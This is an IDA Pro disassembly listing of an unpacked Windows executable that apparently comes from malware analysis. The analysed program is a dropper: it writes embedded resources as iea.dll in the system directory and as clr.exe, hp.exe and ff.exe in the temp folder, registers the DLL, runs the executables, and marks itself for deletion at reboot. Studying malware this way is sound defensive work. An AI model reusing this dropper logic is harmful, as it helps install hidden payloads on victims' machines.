; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2EDD6F656D6BE9CCBFAE436D84CA4771 ; File Name : u:\work\2edd6f656d6be9ccbfae436d84ca4771_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_401090+70p ; sub_401090+C5p ... arg_0 = dword ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch movzx eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi push 0Ah push eax push esi call ds:dword_405018 ; FindResourceA mov edi, eax push edi push esi call ds:dword_405014 ; LoadResource push edi push esi mov ebx, eax call ds:dword_405010 ; SizeofResource push ebx mov edi, eax call ds:dword_40500C ; LockResource mov ecx, [esp+0Ch+arg_8] push 0 push 80h push 2 push 0 push 1 push 0C0000000h push ecx mov ebx, eax call ds:dword_405008 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_401074 push 0 lea edx, [esp+10h+arg_4] push edx push edi push ebx push esi call ds:dword_405004 ; WriteFile test eax, eax push esi jnz short loc_40107A call ds:dword_405000 ; CloseHandle loc_401074: ; CODE XREF: sub_401000+57j pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_40107A: ; CODE XREF: sub_401000+6Cj call ds:dword_405000 ; CloseHandle pop edi pop esi mov al, 1 pop ebx retn sub_401000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401090 proc near ; CODE XREF: .text:00401407p var_310 = byte ptr -310h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 sub esp, 310h mov eax, dword_407030 push ebx push esi push edi mov [esp+31Ch+var_4], eax push 104h lea eax, [esp+320h+var_108] push eax push 0 call ds:dword_40503C ; GetModuleFileNameA push 104h lea ecx, [esp+320h+var_20C] push ecx call ds:dword_405038 ; GetSystemDirectoryA push 104h lea edx, [esp+320h+var_20C] push edx lea eax, [esp+324h+var_310] push eax call ds:dword_405034 ; lstrcpyn mov esi, ds:dword_405030 push offset aIea_dll ; "\\iea.dll" lea ecx, [esp+320h+var_310] push ecx call esi ; lstrcat lea edx, [esp+31Ch+var_310] push edx push 65h push 0 call sub_401000 add esp, 0Ch lea eax, [esp+31Ch+var_310] push eax call ds:dword_40502C ; LoadLibraryA mov edi, eax push offset aDllregisterser ; "DllRegisterServer" push edi call ds:dword_405028 ; GetProcAddress test eax, eax jz short loc_401127 call eax loc_401127: ; CODE XREF: sub_401090+93j push edi call ds:dword_405024 ; FreeLibrary mov edi, ds:dword_405020 lea ecx, [esp+31Ch+var_310] push ecx push 104h call edi ; GetTempPathA push offset aClr_exe ; "\\clr.exe" lea edx, [esp+320h+var_310] push edx call esi ; lstrcat lea eax, [esp+31Ch+var_310] push eax push 66h push 0 call sub_401000 mov ebx, ds:dword_4050F4 add esp, 0Ch push 9 push 0 push 0 lea ecx, [esp+328h+var_310] push ecx push offset aOpen ; "open" push 0 call ebx lea edx, [esp+31Ch+var_310] push edx push 104h call edi ; GetTempPathA push offset aHp_exe ; "\\hp.exe" lea eax, [esp+320h+var_310] push eax call esi ; lstrcat lea ecx, [esp+31Ch+var_310] push ecx push 67h push 0 call sub_401000 add esp, 0Ch push 9 push 0 push 0 lea edx, [esp+328h+var_310] push edx push offset aOpen ; "open" push 0 call ebx lea eax, [esp+31Ch+var_310] push eax push 104h call edi ; GetTempPathA push offset aFf_exe ; "\\ff.exe" lea ecx, [esp+320h+var_310] push ecx call esi ; lstrcat lea edx, [esp+31Ch+var_310] push edx push 68h push 0 call sub_401000 add esp, 0Ch push 9 push 0 push 0 lea eax, [esp+328h+var_310] push eax push offset aOpen ; "open" push 0 call ebx push 4 push 0 lea ecx, [esp+324h+var_108] push ecx call ds:dword_40501C ; MoveFileExA mov ecx, [esp+31Ch+var_4] pop edi pop esi xor eax, eax pop ebx call sub_40124E add esp, 310h retn 10h sub_401090 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40124E loc_40121D: ; CODE XREF: sub_40124E:loc_401257j push 8 push offset stru_405160 call __SEH_prolog and dword ptr [ebp-4], 0 push 0 push 1 call loc_4014C3 pop ecx pop ecx jmp short loc_401241 ; END OF FUNCTION CHUNK FOR sub_40124E ; =============== S U B R O U T I N E ======================================= sub_40123A proc near ; DATA XREF: .rdata:stru_405160o xor eax, eax inc eax retn sub_40123A endp ; =============== S U B R O U T I N E ======================================= sub_40123E proc near ; DATA XREF: .rdata:stru_405160o mov esp, [ebp-18h] sub_40123E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40124E loc_401241: ; CODE XREF: sub_40124E-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_405048 ; ExitProcess int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_40124E ; =============== S U B R O U T I N E ======================================= sub_40124E proc near ; CODE XREF: sub_401090+17Fp ; sub_4018FC+167p ... ; FUNCTION CHUNK AT 0040121D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00401241 SIZE 0000000D BYTES cmp ecx, dword_407030 jnz short loc_401257 retn ; --------------------------------------------------------------------------- loc_401257: ; CODE XREF: sub_40124E+6j jmp loc_40121D sub_40124E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40125C proc near ; CODE XREF: .text:00401387p ; .text:004013ADp ... arg_0 = dword ptr 4 cmp dword_4072A8, 1 jnz short loc_40126A call sub_401A73 loc_40126A: ; CODE XREF: sub_40125C+7j push [esp+arg_0] call sub_4018FC push 0FFh call off_407034 pop ecx pop ecx retn sub_40125C endp ; --------------------------------------------------------------------------- push 60h push offset stru_405170 call __SEH_prolog mov edi, 94h mov eax, edi call sub_402310 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call ds:dword_405058 ; GetVersionExA mov ecx, [esi+10h] mov dword_4072BC, ecx mov eax, [esi+4] mov dword_4072C8, eax mov edx, [esi+8] mov dword_4072CC, edx mov esi, [esi+0Ch] and esi, 7FFFh mov dword_4072C0, esi cmp ecx, 2 jz short loc_4012E1 or esi, 8000h mov dword_4072C0, esi loc_4012E1: ; CODE XREF: .text:004012D3j shl eax, 8 add eax, edx mov dword_4072C4, eax xor esi, esi push esi mov edi, ds:dword_40504C call edi ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_40131C mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_40131C movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_401334 cmp eax, 20Bh jz short loc_401321 loc_40131C: ; CODE XREF: .text:004012FBj ; .text:00401308j ... mov [ebp-1Ch], esi jmp short loc_401348 ; --------------------------------------------------------------------------- loc_401321: ; CODE XREF: .text:0040131Aj cmp dword ptr [ecx+84h], 0Eh jbe short loc_40131C xor eax, eax cmp [ecx+0F8h], esi jmp short loc_401342 ; --------------------------------------------------------------------------- loc_401334: ; CODE XREF: .text:00401313j cmp dword ptr [ecx+74h], 0Eh jbe short loc_40131C xor eax, eax cmp [ecx+0E8h], esi loc_401342: ; CODE XREF: .text:00401332j setnz al mov [ebp-1Ch], eax loc_401348: ; CODE XREF: .text:0040131Fj push esi call sub_4022BE pop ecx test eax, eax jnz short loc_401374 cmp dword_4072A8, 1 jnz short loc_401361 call sub_401A73 loc_401361: ; CODE XREF: .text:0040135Aj push 1Ch call sub_4018FC push 0FFh call sub_401761 pop ecx pop ecx loc_401374: ; CODE XREF: .text:00401351j call sub_40221C mov [ebp-4], esi call sub_402071 test eax, eax jge short loc_40138D push 1Bh call sub_40125C pop ecx loc_40138D: ; CODE XREF: .text:00401383j call ds:dword_405054 ; GetCommandLineA mov dword_407834, eax call sub_401F4F mov dword_4072A0, eax call sub_401EAD test eax, eax jge short loc_4013B3 push 8 call sub_40125C pop ecx loc_4013B3: ; CODE XREF: .text:004013A9j call sub_401C7A test eax, eax jge short loc_4013C4 push 9 call sub_40125C pop ecx loc_4013C4: ; CODE XREF: .text:004013BAj push 1 call loc_401791 pop ecx mov [ebp-28h], eax cmp eax, esi jz short loc_4013DA push eax call sub_40125C pop ecx loc_4013DA: ; CODE XREF: .text:004013D1j mov [ebp-44h], esi lea eax, [ebp-70h] push eax call ds:dword_405050 ; GetStartupInfoA call sub_401C1D mov [ebp-20h], eax test byte ptr [ebp-44h], 1 jz short loc_4013FB movzx eax, word ptr [ebp-40h] jmp short loc_4013FE ; --------------------------------------------------------------------------- loc_4013FB: ; CODE XREF: .text:004013F3j push 0Ah pop eax loc_4013FE: ; CODE XREF: .text:004013F9j push eax push dword ptr [ebp-20h] push esi push esi call edi ; GetModuleHandleA push eax call sub_401090 mov edi, eax mov [ebp-2Ch], edi cmp [ebp-1Ch], esi jnz short loc_40141C push edi call sub_4018BC loc_40141C: ; CODE XREF: .text:00401414j call sub_4018DE jmp short loc_40144E ; =============== S U B R O U T I N E ======================================= sub_401423 proc near ; DATA XREF: .rdata:stru_405170o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-24h], ecx push eax push ecx call sub_401AAC pop ecx pop ecx retn sub_401423 endp ; =============== S U B R O U T I N E ======================================= sub_401437 proc near ; DATA XREF: .rdata:stru_405170o mov esp, [ebp-18h] mov edi, [ebp-24h] cmp dword ptr [ebp-1Ch], 0 jnz short loc_401449 push edi call sub_4018CD loc_401449: ; CODE XREF: sub_401437+Aj call sub_4018ED loc_40144E: ; CODE XREF: .text:00401421j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call __SEH_epilog retn sub_401437 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40145D proc near ; DATA XREF: .data:00407004o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov eax, dword_407030 test eax, eax jz short loc_401473 cmp eax, 0BB40E64Eh jnz short locret_4014C1 loc_401473: ; CODE XREF: sub_40145D+Dj push esi lea eax, [ebp+var_8] push eax call ds:dword_40506C ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call ds:dword_405068 ; GetCurrentProcessId xor esi, eax call ds:dword_405064 ; GetCurrentThreadId xor esi, eax call ds:dword_405060 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call ds:dword_40505C ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax mov dword_407030, esi jnz short loc_4014C0 mov dword_407030, 0BB40E64Eh loc_4014C0: ; CODE XREF: sub_40145D+57j pop esi locret_4014C1: ; CODE XREF: sub_40145D+14j leave retn sub_40145D endp ; --------------------------------------------------------------------------- loc_4014C3: ; CODE XREF: sub_40124E-1Dp push 118h push offset stru_405368 call __SEH_prolog mov eax, dword_407030 mov [ebp-1Ch], eax mov eax, dword_4072AC xor ecx, ecx cmp eax, ecx jz short loc_401504 mov [ebp-4], ecx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax pop ecx pop ecx ; START OF FUNCTION CHUNK FOR sub_4014FF loc_4014F2: ; CODE XREF: sub_4014FF+3j or dword ptr [ebp-4], 0FFFFFFFFh jmp loc_401603 ; END OF FUNCTION CHUNK FOR sub_4014FF ; =============== S U B R O U T I N E ======================================= sub_4014FB proc near ; DATA XREF: .rdata:stru_405368o xor eax, eax inc eax retn sub_4014FB endp ; =============== S U B R O U T I N E ======================================= sub_4014FF proc near ; DATA XREF: .rdata:stru_405368o ; FUNCTION CHUNK AT 004014F2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00401603 SIZE 00000007 BYTES mov esp, [ebp-18h] jmp short loc_4014F2 sub_4014FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_401504: ; CODE XREF: .text:004014E3j mov eax, [ebp+8] dec eax jz short loc_401520 mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_401534 ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: .text:00401508j mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_401534: ; CODE XREF: .text:0040151Ej mov [ebp-20h], cl push 104h lea eax, [ebp-124h] push eax push ecx call ds:dword_40503C ; GetModuleFileNameA test eax, eax jnz short loc_401561 push offset aProgramNameUnk ; "<program name unknown>" lea eax, [ebp-124h] push eax call sub_402450 pop ecx pop ecx loc_401561: ; CODE XREF: .text:0040154Cj lea ebx, [ebp-124h] mov eax, ebx push eax call sub_402680 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_40159D mov eax, ebx push eax call sub_402680 mov ebx, eax lea eax, [ebp-124h] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call sub_402550 add esp, 10h loc_40159D: ; CODE XREF: .text:00401576j push ebx call sub_402680 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp-18h], esp mov esi, esp push edi push esi call sub_402450 mov edi, offset asc_4051B0 ; "\n\n" push edi push esi call sub_402460 push offset aProgram ; "Program: " push esi call sub_402460 push ebx push esi call sub_402460 push edi push esi call sub_402460 push dword ptr [ebp-128h] push esi call sub_402460 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_40234D add esp, 3Ch ; START OF FUNCTION CHUNK FOR sub_4014FF loc_401603: ; CODE XREF: sub_4014FF-9j push 3 call sub_4018CD ; END OF FUNCTION CHUNK FOR sub_4014FF ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401660 proc near ; DATA XREF: __SEH_prologo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_401729 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] push ebx call sub_4027FA add esp, 4 or eax, eax jz short loc_40171B loc_4016A0: ; CODE XREF: sub_401660+B2j cmp esi, 0FFFFFFFFh jz short loc_401722 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4+4] or eax, eax jz short loc_401709 push esi push ebp lea ebp, [ebx+10h] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_401709 js short loc_401714 mov edi, [ebx+8] push ebx call sub_40270C add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_40274E add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4027E2 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax mov eax, [edi+ecx*4+8] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax loc_401709: ; CODE XREF: sub_401660+4Ej ; sub_401660+68j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4016A0 ; --------------------------------------------------------------------------- loc_401714: ; CODE XREF: sub_401660+6Aj mov eax, 0 jmp short loc_40173E ; --------------------------------------------------------------------------- loc_40171B: ; CODE XREF: sub_401660+3Ej mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 loc_401722: ; CODE XREF: sub_401660+43j mov eax, 1 jmp short loc_40173E ; --------------------------------------------------------------------------- loc_401729: ; CODE XREF: sub_401660+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_40274E add esp, 8 pop ebp mov eax, 1 loc_40173E: ; CODE XREF: sub_401660+B9j ; sub_401660+C7j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401660 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_40274E add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_401761 proc near ; CODE XREF: .text:0040136Dp ; sub_4017FB+BAp arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_40504C ; GetModuleHandleA test eax, eax jz short loc_401786 push offset aCorexitprocess ; "CorExitProcess" push eax call ds:dword_405028 ; GetProcAddress test eax, eax jz short loc_401786 push [esp+arg_0] call eax ; dword_407024 loc_401786: ; CODE XREF: sub_401761+Dj ; sub_401761+1Dj push [esp+arg_0] call ds:dword_405048 ; ExitProcess int 3 ; Trap to Debugger loc_401791: ; CODE XREF: .text:004013C6p mov eax, dword_407830 test eax, eax jz short loc_4017A1 push [esp+arg_0] call eax pop ecx loc_4017A1: ; CODE XREF: sub_401761+37j push esi push edi mov ecx, offset dword_40700C mov edi, offset dword_407018 xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_4017CC loc_4017B5: ; CODE XREF: sub_401761+65j test eax, eax jnz short loc_4017F8 mov ecx, [esi] test ecx, ecx jz short loc_4017C1 call ecx loc_4017C1: ; CODE XREF: sub_401761+5Cj add esi, 4 cmp esi, edi jb short loc_4017B5 test eax, eax jnz short loc_4017F8 loc_4017CC: ; CODE XREF: sub_401761+52j push offset loc_402260 call sub_402AA5 mov esi, offset dword_407000 mov eax, esi mov edi, offset dword_407008 cmp eax, edi pop ecx jnb short loc_4017F6 loc_4017E7: ; CODE XREF: sub_401761+93j mov eax, [esi] test eax, eax jz short loc_4017EF call eax loc_4017EF: ; CODE XREF: sub_401761+8Aj add esi, 4 cmp esi, edi jb short loc_4017E7 loc_4017F6: ; CODE XREF: sub_401761+84j xor eax, eax loc_4017F8: ; CODE XREF: sub_401761+56j ; sub_401761+69j pop edi pop esi retn sub_401761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017FB proc near ; CODE XREF: sub_4018BC+8p ; sub_4018CD+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi inc esi cmp dword_4072FC, esi push edi jnz short loc_40181B push [ebp+arg_0] call ds:dword_405074 ; GetCurrentProcess push eax call ds:dword_405070 ; TerminateProcess loc_40181B: ; CODE XREF: sub_4017FB+Ej cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov dword_4072F8, esi mov byte_4072F4, al jnz short loc_401881 mov ecx, dword_407828 test ecx, ecx jz short loc_401862 mov eax, dword_407824 sub eax, 4 cmp eax, ecx jmp short loc_40185B ; --------------------------------------------------------------------------- loc_401845: ; CODE XREF: sub_4017FB+65j mov eax, [eax] test eax, eax jz short loc_40184D call eax loc_40184D: ; CODE XREF: sub_4017FB+4Ej mov eax, dword_407824 sub eax, 4 cmp eax, dword_407828 loc_40185B: ; CODE XREF: sub_4017FB+48j mov dword_407824, eax jnb short loc_401845 loc_401862: ; CODE XREF: sub_4017FB+3Cj mov eax, offset dword_40701C mov esi, offset dword_407020 cmp eax, esi mov edi, eax jnb short loc_401881 loc_401872: ; CODE XREF: sub_4017FB+84j mov eax, [edi] test eax, eax jz short loc_40187A call eax loc_40187A: ; CODE XREF: sub_4017FB+7Bj add edi, 4 cmp edi, esi jb short loc_401872 loc_401881: ; CODE XREF: sub_4017FB+32j ; sub_4017FB+75j mov eax, offset dword_407024 mov esi, offset dword_407028 cmp eax, esi mov edi, eax jnb short loc_4018A0 loc_401891: ; CODE XREF: sub_4017FB+A3j mov eax, [edi] test eax, eax jz short loc_401899 call eax loc_401899: ; CODE XREF: sub_4017FB+9Aj add edi, 4 cmp edi, esi jb short loc_401891 loc_4018A0: ; CODE XREF: sub_4017FB+94j cmp [ebp+arg_8], 0 pop edi pop esi jnz short loc_4018BA push [ebp+arg_0] mov dword_4072FC, 1 call sub_401761 loc_4018BA: ; CODE XREF: sub_4017FB+ABj pop ebp retn sub_4017FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4018BC proc near ; CODE XREF: .text:00401417p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_4017FB add esp, 0Ch retn sub_4018BC endp ; =============== S U B R O U T I N E ======================================= sub_4018CD proc near ; CODE XREF: sub_40125C+1Cp ; sub_401437+Dp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_4017FB add esp, 0Ch retn sub_4018CD endp ; =============== S U B R O U T I N E ======================================= sub_4018DE proc near ; CODE XREF: .text:loc_40141Cp push 1 push 0 push 0 call sub_4017FB add esp, 0Ch retn sub_4018DE endp ; =============== S U B R O U T I N E ======================================= sub_4018ED proc near ; CODE XREF: sub_401437:loc_401449p push 1 push 1 push 0 call sub_4017FB add esp, 0Ch retn sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=8Ch sub_4018FC proc near ; CODE XREF: sub_40125C+12p ; .text:00401363p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-8Ch] sub esp, 10Ch mov eax, dword_407030 mov ecx, [ebp+8Ch+arg_0] push ebx push esi mov [ebp+8Ch+var_4], eax xor edx, edx push edi xor eax, eax loc_401922: ; CODE XREF: sub_4018FC+33j cmp ecx, dword_407040[eax*8] jz short loc_401931 inc eax cmp eax, 13h jb short loc_401922 loc_401931: ; CODE XREF: sub_4018FC+2Dj mov esi, eax shl esi, 3 cmp ecx, dword_407040[esi] jnz loc_401A57 mov eax, dword_4072A8 cmp eax, 1 jz loc_401A2F cmp eax, edx jnz short loc_401961 cmp dword_407038, 1 jz loc_401A2F loc_401961: ; CODE XREF: sub_4018FC+56j cmp ecx, 0FCh jz loc_401A57 push 104h lea eax, [ebp+8Ch+var_10C] push eax push edx mov [ebp+8Ch+var_8], dl call ds:dword_40503C ; GetModuleFileNameA test eax, eax jnz short loc_401997 lea eax, [ebp+8Ch+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_402450 pop ecx pop ecx loc_401997: ; CODE XREF: sub_4018FC+89j lea edi, [ebp+8Ch+var_10C] mov eax, edi push eax call sub_402680 inc eax cmp eax, 3Ch pop ecx jbe short loc_4019CB mov eax, edi push eax call sub_402680 mov edi, eax lea eax, [ebp+8Ch+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_402550 add esp, 10h loc_4019CB: ; CODE XREF: sub_4018FC+ABj push edi call sub_402680 push off_407044[esi] mov ebx, eax call sub_402680 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_402310 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_402450 push edi push ebx call sub_402460 push offset asc_4051B0 ; "\n\n" push ebx call sub_402460 push off_407044[esi] push ebx call sub_402460 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_40234D add esp, 2Ch jmp short loc_401A57 ; --------------------------------------------------------------------------- loc_401A2F: ; CODE XREF: sub_4018FC+4Ej ; sub_4018FC+5Fj push edx lea eax, [ebp+8Ch+arg_0] push eax lea esi, off_407044[esi] push dword ptr [esi] call sub_402680 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_405078 ; GetStdHandle push eax call ds:dword_405004 ; WriteFile loc_401A57: ; CODE XREF: sub_4018FC+40j ; sub_4018FC+6Bj ... lea esp, [ebp-8Ch] mov ecx, [ebp+8Ch+var_4] call sub_40124E pop edi pop esi pop ebx add ebp, 8Ch leave retn sub_4018FC endp ; =============== S U B R O U T I N E ======================================= sub_401A73 proc near ; CODE XREF: sub_40125C+9p ; .text:0040135Cp mov eax, dword_4072A8 cmp eax, 1 jz short loc_401A8A test eax, eax jnz short locret_401AAB cmp dword_407038, 1 jnz short locret_401AAB loc_401A8A: ; CODE XREF: sub_401A73+8j push 0FCh call sub_4018FC mov eax, dword_407300 test eax, eax pop ecx jz short loc_401AA0 call eax loc_401AA0: ; CODE XREF: sub_401A73+29j push 0FFh call sub_4018FC pop ecx locret_401AAB: ; CODE XREF: sub_401A73+Cj ; sub_401A73+15j retn sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AAC proc near ; CODE XREF: sub_401423+Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, dword_407158 push ebx mov ecx, offset dword_4070D8 push esi loc_401ABE: ; CODE XREF: sub_401AAC+25j cmp [ecx], edx jz short loc_401AD3 lea esi, [eax+eax*2] add ecx, 0Ch lea esi, ds:4070D8h[esi*4] cmp ecx, esi jb short loc_401ABE loc_401AD3: ; CODE XREF: sub_401AAC+14j lea eax, [eax+eax*2] lea eax, ds:4070D8h[eax*4] cmp ecx, eax jnb short loc_401AE5 cmp [ecx], edx jz short loc_401AE7 loc_401AE5: ; CODE XREF: sub_401AAC+33j xor ecx, ecx loc_401AE7: ; CODE XREF: sub_401AAC+37j test ecx, ecx jz loc_401C10 mov ebx, [ecx+8] test ebx, ebx jz loc_401C10 cmp ebx, 5 jnz short loc_401B0B and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_401C19 ; --------------------------------------------------------------------------- loc_401B0B: ; CODE XREF: sub_401AAC+51j cmp ebx, 1 jz loc_401C0B mov eax, dword_407304 mov [ebp+arg_0], eax mov eax, [ebp+arg_4] mov dword_407304, eax mov eax, [ecx+4] cmp eax, 8 jnz loc_401BFB mov eax, dword_407150 mov edx, dword_407154 add edx, eax cmp eax, edx jge short loc_401B56 lea esi, [eax+eax*2] lea esi, ds:4070E0h[esi*4] sub edx, eax loc_401B4D: ; CODE XREF: sub_401AAC+A8j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_401B4D loc_401B56: ; CODE XREF: sub_401AAC+93j mov ecx, [ecx] cmp ecx, 0C000008Eh mov esi, dword_40715C jnz short loc_401B72 mov dword_40715C, 83h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401B72: ; CODE XREF: sub_401AAC+B8j cmp ecx, 0C0000090h jnz short loc_401B86 mov dword_40715C, 81h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401B86: ; CODE XREF: sub_401AAC+CCj cmp ecx, 0C0000091h jnz short loc_401B9A mov dword_40715C, 84h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401B9A: ; CODE XREF: sub_401AAC+E0j cmp ecx, 0C0000093h jnz short loc_401BAE mov dword_40715C, 85h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401BAE: ; CODE XREF: sub_401AAC+F4j cmp ecx, 0C000008Dh jnz short loc_401BC2 mov dword_40715C, 82h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401BC2: ; CODE XREF: sub_401AAC+108j cmp ecx, 0C000008Fh jnz short loc_401BD6 mov dword_40715C, 86h jmp short loc_401BE8 ; --------------------------------------------------------------------------- loc_401BD6: ; CODE XREF: sub_401AAC+11Cj cmp ecx, 0C0000092h jnz short loc_401BE8 mov dword_40715C, 8Ah loc_401BE8: ; CODE XREF: sub_401AAC+C4j ; sub_401AAC+D8j ... push dword_40715C push 8 call ebx pop ecx mov dword_40715C, esi jmp short loc_401C02 ; --------------------------------------------------------------------------- loc_401BFB: ; CODE XREF: sub_401AAC+7Ej and dword ptr [ecx+8], 0 push eax call ebx loc_401C02: ; CODE XREF: sub_401AAC+14Dj mov eax, [ebp+arg_0] pop ecx mov dword_407304, eax loc_401C0B: ; CODE XREF: sub_401AAC+62j or eax, 0FFFFFFFFh jmp short loc_401C19 ; --------------------------------------------------------------------------- loc_401C10: ; CODE XREF: sub_401AAC+3Dj ; sub_401AAC+48j push [ebp+arg_4] call ds:dword_40507C ; UnhandledExceptionFilter loc_401C19: ; CODE XREF: sub_401AAC+5Aj ; sub_401AAC+162j pop esi pop ebx pop ebp retn sub_401AAC endp ; =============== S U B R O U T I N E ======================================= sub_401C1D proc near ; CODE XREF: .text:004013E7p push esi push edi xor edi, 